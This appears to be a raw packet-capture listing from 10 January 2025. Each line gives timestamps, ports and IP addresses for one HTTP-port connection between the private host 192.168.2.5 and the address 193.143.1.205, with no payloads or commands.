Jan 10, 2025 21:23:57.294121981 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.294213057 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.296595097 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.313801050 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.313819885 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.313832045 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.313886881 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.314213037 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.314224005 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.314230919 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.314238071 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.314317942 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.349078894 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.349100113 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.349114895 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.349129915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.349144936 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.349179029 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370388031 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370403051 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370415926 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370429039 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370443106 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370479107 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370543957 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370554924 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370570898 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370582104 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370584965 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370596886 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370608091 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370625973 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370651960 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370762110 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370773077 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370786905 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370810986 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370825052 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370829105 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.370857000 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370868921 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.370897055 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.388673067 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388695955 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388752937 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.388784885 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388834000 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.388847113 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388859987 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388875008 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388895035 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388907909 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388926029 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.388928890 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388942003 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388947010 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.388955116 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.388978958 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.389003038 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.390921116 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.390979052 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391021967 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391127110 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391150951 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391172886 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391184092 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391191006 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391197920 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391206980 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391211987 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391226053 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391237974 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391242981 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391252041 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391266108 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391273022 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391278982 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391292095 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391305923 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391308069 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391329050 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391330004 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391343117 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391357899 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391367912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391370058 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391393900 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391436100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391525030 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391567945 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391588926 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391601086 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391618967 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391623974 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391632080 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391644955 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391654968 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391657114 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391674042 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391680002 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391689062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391700983 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391711950 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391711950 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391731024 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391736031 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391745090 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391753912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391767025 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391777992 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391789913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391794920 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391802073 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391813040 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391824007 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391824961 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391849041 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391870022 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391913891 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391928911 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391941071 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391952991 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391964912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391968966 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391977072 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391988039 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.391993999 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.391999006 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392010927 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392020941 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392038107 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392039061 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392067909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392076969 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392086983 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392132998 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392170906 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392180920 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392190933 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392200947 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392210960 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392215967 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392222881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392245054 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392261982 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392290115 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392302036 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392313957 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392333984 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392407894 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392419100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392429113 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392440081 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392452955 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392453909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392467976 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392501116 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392537117 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392549038 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392575026 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392597914 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392610073 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392620087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392632008 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392644882 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392652035 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392664909 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392673969 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392676115 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392692089 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392698050 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392705917 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392720938 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392749071 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392751932 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392762899 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392774105 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392785072 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.392796040 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392815113 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.392987967 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.393009901 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.393023014 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.393033028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.393043995 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.393044949 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.393070936 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.395272017 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460757971 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460776091 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460793018 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460812092 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460824013 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460834026 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460845947 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460855961 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460870028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460880041 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460891962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460911989 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460912943 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460922003 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460932970 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460939884 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460942984 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.460963964 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460989952 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.460994959 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461007118 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461019993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461030006 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461051941 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.461076021 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.461298943 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461309910 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461322069 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461333990 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461349010 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.461353064 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461364985 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461369991 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.461379051 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.461399078 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.479352951 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479365110 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479376078 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479413033 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479429960 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479441881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479453087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479475021 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479479074 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.479485989 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479496002 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479509115 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479521036 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479532957 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479543924 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.479564905 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.479598045 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479609013 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479623079 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479633093 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.479651928 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.479676962 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481381893 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481483936 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481493950 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481506109 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481519938 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481523991 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481525898 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481530905 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481538057 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481544971 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481581926 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481600046 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481620073 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481632948 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481643915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481657028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481679916 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481703997 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481759071 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481770039 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481782913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481795073 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481803894 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481806993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481821060 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481838942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481849909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481849909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481908083 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481918097 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481930017 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481940985 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481942892 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481957912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481962919 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.481976986 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481988907 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.481993914 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482009888 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482021093 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482033014 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482033968 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482088089 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482136965 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482170105 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482193947 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482207060 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482222080 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482234001 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482239008 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482263088 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482299089 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482311010 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482342958 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482485056 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482496977 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482507944 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482520103 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482525110 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482533932 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482546091 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482551098 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482559919 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482573032 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482587099 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482609987 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482614040 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482626915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482636929 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482650995 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482654095 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482676983 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482729912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482742071 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482753992 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482764959 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482773066 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482778072 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482789993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482789993 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482805014 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482816935 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482831001 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482836962 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482863903 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482914925 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482927084 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482939959 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482948065 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482974052 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.482985020 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.482995987 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483009100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483021021 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483035088 CET	80	49726	193.143.1.205	192.168.2.5
